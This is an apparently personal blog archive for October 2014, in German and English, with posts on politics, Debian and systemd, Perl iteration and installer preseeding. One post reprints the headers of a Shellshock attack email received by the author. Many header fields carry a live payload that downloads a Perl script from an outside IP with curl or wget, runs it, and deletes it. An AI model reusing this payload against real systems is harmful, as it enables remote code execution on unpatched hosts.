f.zz.de
archives / 2014 /

10

Schleuder - Encrypted mailinglist

Posted Wed 01 Oct 2014 09:31:02 AM CEST in

Soeben habe ich Schleuder entdeckt. Sehr schön, an soetwas habe ich immer schonmal gedacht. Nur muss ich jetzt vielleicht den ein oder anderen hier in der Region mal finden der da auch Spass dran hat. Vielleicht die CryptoSelfDefenseOWL oder so?

DHL und wenn man mal wartet

Posted Wed 01 Oct 2014 09:55:08 AM CEST in

Ich wollte doch nur das Paket endlich haben bevor das lange Wochende kommt und ich im Urlaub bin:

  • Mo, 29.09.2014 16:41 Uhr --
    Die Auftragsdaten zu dieser Sendung wurden vom Absender elektronisch an DHL übermittelt.
  • Di, 30.09.2014 17:25 Uhr Neumark
    Die Sendung wurde im Start-Paketzentrum bearbeitet.
  • Mi, 01.10.2014 05:24 Uhr Bielefeld
    Die Sendung wurde im Ziel-Paketzentrum bearbeitet.
  • Mi, 01.10.2014 08:10 Uhr --
    Die Sendung wurde beschädigt und wird zur Nachverpackung in das Paketzentrum zurückgesandt.

Aaaaaarg

Sonneborn vs. Oettinger

Posted Wed 01 Oct 2014 02:15:58 PM CEST in

Hier ein netter Beitrag zum Leistungsschutzrecht von Stefan Niggemeier. Hier wird mal der absurde Lobbyismus der Verlage so richtig vorgeführt.

Erlang - The Movie

Posted Thu 02 Oct 2014 05:22:50 PM CEST in

Besucher

Posted Fri 03 Oct 2014 07:22:42 PM CEST in

Besucher aus dem Garten ... Oder Aliens.

Lieblingsstrandbar

Posted Fri 03 Oct 2014 07:52:20 PM CEST in

Ist leider wegen Umbaus geschlossen. Schade.

Zeeland net and Man in the Middle

Posted Sun 05 Oct 2014 11:18:34 AM CEST in

Whoa - I just tried to send a mail via SMTP/TLS to my very own mail server and i got prompted with a certificate mismatch. Astonisched i had a look at the certificate and found it to be issued to "Zeeland.net". They are trying to intercept my SMTP connection, trying to be a mailserver of my possession and on STARTTLS present me a certificate i would never ever trust.

Zeeland.net - Havent you learned from the Snowden publishing? Are you an arm of the Netherland or US American Intelligence?

UPU - Adressing the Worl

Posted Tue 07 Oct 2014 08:01:04 PM CEST in

The UPU has a white paper on Adressing the World

In the definition of availability of address information the UPU explains the term "public good" as beeing something which is non-excludable. This means the public good can not be excluded from someone.

I send them an e-mail about copyright law in some countries beeing used on postcode databases. The "Deutsche Post" and "British Postal Service" both claim a copyright on the postcode databases.

The copyright means exclusion - The postal companys decide whom to license the database to. So there is an exclusion in place.

The UPUs whitepaper does not talk about legislation needed to protect from certain aspects of the addressing beeing excluded by copyright.

Another issue while wading through the whitepaper is that the paper talks about ISO Standard 19160 and 19115. Both of those Standards are NOT freely available.

ISO 19160 costs CHF 58 and ISO 19115-1:2014 costs CHF 198.

So for even understanding data and metadata by reading through the standard you need to spend CHF256, €211 or $267

Considering that nearly half the world lives from less than $2,50 a day defining something with a standard which is inaccessible to most of the worlds population sounds like a big joke.

Nein zu CETA und TTIP

Posted Wed 08 Oct 2014 01:23:45 PM CEST in

Wenn das alles angeblich so toll für uns ist wieso muss das dann Geheim sein. Die einzige Erklärung ist wohl das es um Lobbyismus geht und sich gewisse Konzerne nicht in die Karten gucken lassen wollen.

Europa führt sich ad absurdum indem man versucht Bürgerbegehren mit hilfe von Spitzfindigkeiten zu unterdrücken.

Wir können mit CETA und TTIP nur verlieren:

Also hier unterschreiben und die Europäische Kommission zwingen die Verhandlungen zu TTIP und CETA auszusetzen.

Europa entschädigt Israel

Posted Sun 12 Oct 2014 03:17:12 PM CEST in

Wie kommt es eigentlich das Israel regelmäßig die minderheit der Palestinenser im Land systematisch unterdrückt, massive Schäden im Gaza Streifen verursacht und alles plattmacht, und wir als Europäer dann dem Gaza Streifen wiederaufbauhilfen geben?

Nach dem Verursacherprinzip müsste Israel das zahlen. Wer kaputt macht macht auch wieder heile. Aber in dem Konflikt ging es noch nie fair zu.

[Wiederaufbau: USA und Europa versprechen Gaza-Streifen gut 600 Millionen] (http://www.spiegel.de/politik/ausland/gaza-streifen-erhaelt-von-eu-und-usa-600-millionen-fuer-wiederaufbau-a-996754.html)

Katzen und Vögel

Posted Sun 12 Oct 2014 03:20:27 PM CEST in

Vogelschutz: Jäger wollen weiter Katzen schießen

So ein Schwachsinn - Da gehen die Jäger gegen das Verbot des Schießens von Hauskatzen an. Das eine Katze eine Vogel erwischt ist äusserst selten. Lieber vergnügen sich die Raubtiere mit Mäusen die ja nach aussage der Jagdverbände zu einer Plage in den Wäldern werden.

Das unsere Katzen mal einen Vogel erwischen passiert 2 mal im Jahr. Dafür liegen jeden tag hier 2-3 Mäuse.

Eine ausbreitung wie in Afrika ...

Posted Sun 12 Oct 2014 03:28:12 PM CEST in

... ist bei uns nicht möglich.

Pflegekraft in Texas positiv getestet: Zweiter Ebola-Fall in den USA

Wie haben alles im Griff in den Westlichen Staaten versucht man uns beizubringen. Defakto sind selbst unsere Isolierstationen überfordert mit diesem Virus.

Alternativlos 30

Posted Tue 14 Oct 2014 04:34:50 PM CEST in

Vor ein paar Tagen auf dem Fahrrad zuende gehört:

Alternativlos 30

Sehr zu empfehlen - Einfach mal kompakt zusammengetragen was sich die Schlapphüte so in den letzten Jahren so geleistet haben.

Node.js

Posted Tue 14 Oct 2014 04:37:48 PM CEST in

Zwar schon ein bischen älter aber gut für das Grundverständniss.

CRE167 über Node.js

This is no political correctness club

Posted Thu 16 Oct 2014 02:54:07 PM CEST in

Ein schöner bug bei OSM um die presets für das taggen von Puffs, Stripclubs und Nightclubs zu entfernen.

Warmes Wasser

Posted Thu 16 Oct 2014 03:04:46 PM CEST in

Ein neuer Warmwasserbehälter ....

Backward compatibility

Posted Thu 16 Oct 2014 03:07:32 PM CEST in

Systemd and Gnome3 both broke backward compatibility, which most likely means it broke someone's workflow. Linus is well know for his ridged rule about not breaking userspace. Everything must be backward compatible. Only developers will dislike Linus, but users will love him. It seems that the systemd developers all love Lennart, it's his users that are not so happy.

From an G+ discussion

Neuer "interessanter" Müll im Wald

Posted Fri 17 Oct 2014 08:26:48 PM CEST in

Crypto und die USA

Posted Fri 17 Oct 2014 09:14:26 PM CEST in

USA bestraft Export von Verschlüsselungssoftware Ist ja ein starkes Stück und ein Rückfall in die frühen 90er Jahre.

Zusammen mit der ankündigung des FBI an Google und Apple das mit der Crypto auf den Handys nicht hinzunehmen und am liebsten ein Key escrow haben zu wollen lässt böses erahnen. Anscheinend haben die NSA enthüllungen dazu geführt das Kryptographie im Mainstream angekommen ist und das die Schlapphüte nicht gut finden.

Es kommen schwere zeiten.

Phil Zimmerman

If privacy is outlawed, only outlaws will have privacy.

Nachts am DSLAM

Posted Tue 21 Oct 2014 12:22:42 AM CEST in

Am Kanal in Hörstel

fork Debian

Posted Tue 21 Oct 2014 02:11:08 PM CEST in

After reading though most of the GR proposals it came to me that most of the proposals are not going far enough. We should overturn the TCs decision - go back to sysvinit and let systemd split their codebase into their pure init part and all the other cruft nobody needs.

http://www.debianfork.org/

Space shuttle thermal protection

Posted Wed 22 Oct 2014 09:47:35 AM CEST in

Spannende Demonstration des Materials der Space Shuttle Kacheln. Die Kacheln können so wenig thermische Energie speichern das sie an den Kontaktstellen sofort abkühlt und keine Verbrennungen verursacht.

each vs foreach

Posted Wed 22 Oct 2014 05:02:02 PM CEST in

Ein spannendes Problem - Eine funktion mit 'each' geschrieben funktioniert nicht. Umgeschrieben mit 'foreach' ist alles gut. Der teufel steckt im detail.

After "each" has returned all entries from the hash or array, the next call to "each" returns the empty list in list context and "undef" in scalar context. The next call following that one restarts iteration. Each hash or array has its own internal iterator, accessed by "each", "keys", and "values". The iterator is implicitly reset when "each" has reached the end as just described; it can be explicitly reset by calling "keys" or "values" on the hash or array. If you add or delete a hash's elements while iterating over it, entries may be skipped or duplicated--so don't do that. Exception: It is always safe to delete the item most recently returned by "each()", so the following code works properly:

D.h. each benutzt einen hash oder array internen iterator. D.h. wenn 'each' schleifen geschachtelt werden kommt da murks bei raus. Anders als offensichtlich bei foreach das einen eigenen iterator benutzt.

Kaputt:

    my @ta=qw/a b c/;
    while(my ($e) = each(@ta)) {
            while(my ($f) = each(@ta)) {
                    printf("e $e f $f\n");
            }
    }

Heile:

    my @ta=qw/a b c/;
    foreach my $e ( @ta ) {
            foreach my $f ( @ta ) {
                    printf("e $e f $f\n");
            }
    }

VDSL in Harsewinkel

Posted Fri 24 Oct 2014 01:59:02 PM CEST in

Die Telekom baut VDSL in Harsewinkel

Shellshock mail

Posted Fri 24 Oct 2014 08:41:52 PM CEST in

Das ist ja spannend - Da kommt hier eine mail an voll mit shellshock exploits. Offensichtlich scheint das an der ein oder anderen stelle zu funktionieren.

Received: from pax.zz.de ([127.0.0.1])
        by localhost (pax.zz.de [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id HiReUx0cpQN1 for <flo+admin@pax.zz.de>;
        Fri, 24 Oct 2014 18:43:08 +0200 (CEST)
Received: from plug.rfc822.org (plug.rfc822.org [195.71.68.84])
        by pax.zz.de (Postfix) with ESMTP id 28353D009E
        for <flo+admin@rfc822.org>; Fri, 24 Oct 2014 18:43:07 +0200 (CEST)
Received: by plug.rfc822.org (Postfix)
        id C2642F95D; Fri, 24 Oct 2014 18:43:07 +0200 (CEST)
Delivered-To: root@localhost
Received: from USER (u16850951.onlinehome-server.com [74.208.184.251])
        by plug.rfc822.org (Postfix) with SMTP id 7821AF95A
        for <root@localhost>; Fri, 24 Oct 2014 18:43:07 +0200 (CEST)
To: () {:;};cd /tmp;curl -sO 178.254.31.165/ex.txt;lwp-download http: //178.254.31.165/ex.txt@pax.zz.de;,
        wget@pax.zz.de, 178.254.31.165/ex.txt@pax.zz.de;, fetch@pax.zz.de,
        178.254.31.165/ex.txt@pax.zz.de;, perl@pax.zz.de, ex.txt@pax.zz.de;,
        rm@pax.zz.de, -fr@pax.zz.de, ex.*@pax.zz.de;
References:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Cc: () {:;};cd /tmp;curl -sO 178.254.31.165/ex.txt;lwp-download http: //178.254.31.165/ex.txt@pax.zz.de;,
        wget@pax.zz.de, 178.254.31.165/ex.txt@pax.zz.de;, fetch@pax.zz.de,
        178.254.31.165/ex.txt@pax.zz.de;, perl@pax.zz.de, ex.txt@pax.zz.de;,
        rm@pax.zz.de, -fr@pax.zz.de, ex.*@pax.zz.de;
From: () {:;};cd /tmp;curl -sO 178.254.31.165/ex.txt;lwp-download http: //178.254.31.165/ex.txt@pax.zz.de;,
        wget@pax.zz.de, 178.254.31.165/ex.txt@pax.zz.de;, fetch@pax.zz.de,
        178.254.31.165/ex.txt@pax.zz.de;, perl@pax.zz.de, ex.txt@pax.zz.de;,
        rm@pax.zz.de, -fr@pax.zz.de, ex.*@pax.zz.de;
Subject:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Date:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Message-ID:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Comments:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Keywords:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Resent-Date:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Resent-From: () {:;};cd /tmp;curl -sO 178.254.31.165/ex.txt;lwp-download http: //178.254.31.165/ex.txt@pax.zz.de;,
        wget@pax.zz.de, 178.254.31.165/ex.txt@pax.zz.de;, fetch@pax.zz.de,
        178.254.31.165/ex.txt@pax.zz.de;, perl@pax.zz.de, ex.txt@pax.zz.de;,
        rm@pax.zz.de, -fr@pax.zz.de, ex.*@pax.zz.de;
Resent-Message-Id: <20141024164308.F05B0D009F@pax.zz.de>

pulseaudio und remote audio

Posted Sun 26 Oct 2014 10:37:10 AM CET in

Ich habe seit ein paar Jahren ja einen selbstgebauten MP3 player auf einem Kassenterminal. Normalerweise läuft da ein stark gepatchter 'gmpc' + 'mpd' auf der Kiste damit die Kinder via touch sich eine CD aussuchen können.

Heute bin ich auf die Idee gekommen das eigentlich man ja auch remote audio die hinschicken können müsste.

Also mal pulseaudio + zeroconf/avahi auf die kiste. Nach ein bischen pfriemeln geht das wirklich ganz gut. Das einzige was mich zeit gekostet hat ist ein pulseaudio ipv6 link-local bug #40785.

In 2014 noch sowas zu fixen das irgendwer mit link-locals rumhampelt ohne das interface dabei finde ich gruselig.

Naja - 'ip -6 addr flush dev wlan0' auf der jukebox und schon ging auch das. Danach hat mir noch 'ferm' auf der audioquelle in die suppe gespuckt.

Fahrradpflege

Posted Sun 26 Oct 2014 05:15:51 PM CET in

DCF77 und Zeitumstellung

Posted Sun 26 Oct 2014 08:09:57 PM CET in

Wenn es zur Zeitumstellung kommt und das betreffende Gerät ein DCF77 Empfänger besitzt muss man eigentlich nichts machen. Denkste. Es gibt Programmierer die selbst das DCF77 Spec nicht lesen können.

Dieser Wecker ist anstatt eine Stunde zurück 2 Stunden vor gestellt.

DCF77 sendet anders als GPS oder NTP immer die jeweilige Ortszeit d.h. MEZ oder MESZ. Es wird in 2 bits lediglich signalisiert wann wirklich umgestellt wird. Wenn man nur die Uhrzeit anzeigt muss man eigentlich nichts machen. Hier war aber ein besonders schlauer am Werk so wie es aussieht. Bei der signalisierung der Umstellung zum Ende der Stunde wurde mal schnell angenommen das wir jetzt Winterzeit haben und die Uhrzeit anpassen müssen. In den darauffolgenden minuten wird aber anscheienend das Ergebniss nicht kontrolliert.

Fixen kann man das ganze in dem man die Batterie entfernt und wieder einsteckt. Dann fährt der Wecker auf 12:00 und wartet auf die nächsten komplette Minute um die Uhrzeit zu bekommen.

Debian Installer preseeding from USB Stick

Posted Wed 29 Oct 2014 04:29:05 PM CET in

I had the idea of using a debian mini iso usb stick and some preseeding to quickly install some machines. I have some 'late_script' and 'preseed.cfg' magic already for network booting but using a USB stick is a little more tricky. What documentation does not tell you is that when using a 'file://' instead of a 'http://' url on the kernel command line the d-i does not append stuff to the url as it does using http where it extends by 'd-i/'.

Now i have a usb stick (cat'ted the boot.img to the usb stuck and put an mini.iso in the resulting filesystem) with a syslinux.cfg which installs a simple system with most of the packages from the usb stick itself.

LABEL def
        kernel linux
        append vga=normal initrd=initrd.gz netcfg/dhcp_timeout=90
        priority=critical language=en keymap=de country=DE
        locale=en_US.UTF-8 auto
        url=file:///hd-media/d-i/jessie/./preseed.cfg
        classes=vc/sys/simplevirt

I am heavily using Phil Hands d-i extensions for building classes. This is very recommended. I am maintaining tons of workarounds for broken packages in there since the lenny release.

Debian Install and hostname preseeding

Posted Wed 29 Oct 2014 04:48:00 PM CET in

Typically i didnt care for hostname setting in d-i because machines i installed were later modified manually a lot. Now i am facing more automated creation of virtual machines i would not like to touch manually a lot.

So i tried preseeding the hostname with the documented methods e.g.

netcfg/get_hostname=vmXYZ

Which worked kind of. When i moved to the production environment suddenly DNS was involved and i learned that d-i tries very hard to work around 'netcfg/get_hostname' by looking at DHCP responses and into the DNS reverse DNS.

So i had a look at the code and found this in 'netcfg/dhcp.c'

572                 debconf_get(client, "netcfg/hostname");
573                 if (!empty_str(client->value)) {
574                     strncpy(buf, client->value, MAXHOSTNAMELEN);
575                     di_debug("Using preseeded hostname");
576                     preseed_hostname_from_fqdn(client, buf);
577                 }
578                 else if (gethostname(buf, sizeof(buf)) == 0
579                     && !empty_str(buf)
580                     && strcmp(buf, "(none)")
581                     ) {
582                     di_info("DHCP hostname: \"%s\"", buf);
583                     preseed_hostname_from_fqdn(client, buf);
584                 }
585                 else if (!empty_str(interface->dhcp_hostname)) {
586                     di_debug("Defaulting hostname to provided DHCP hostname");
587                     debconf_set(client, "netcfg/get_hostname", interface->dhcp_hostname);
588                 } else {

I havnt found a lot of documentation on these logic so i am writing it here.

So 'netcfg/hostname' is the way to set the users wish of a hostname.

Nackt und im Gefägniss

Posted Wed 29 Oct 2014 10:54:22 PM CET in

Das ist ja mal Krass. Der typ steht für das ein was er glaubt und Vater Staat sperrt den eigentlich konsequent und permanent weg weil er - Festhalten - Nackt ist.

Als wenn heute Nackte tatsachen noch irgendwen erzürnen. Von jeder Plakatwand strahlt und ein quasi Nacktes Victory Secrets model an. Wenn es dann um Männer geht darf das nicht sein?

systemd and bsdutils

Posted Thu 30 Oct 2014 02:37:29 PM CET in

Just another rant - Why on earth

dpkg: dependency problems prevent removal of libsystemd0:amd64:
 bsdutils depends on libsystemd0.

systemd is not even portable to *BSD so why to bsdutils depend on libsystemd0.

Satellit kaputt

Posted Fri 31 Oct 2014 07:31:37 PM CET in

Spannend zu lesen hier ein Artikel der Nasa Leute zum Problem mit einem Landsat Thermal Band.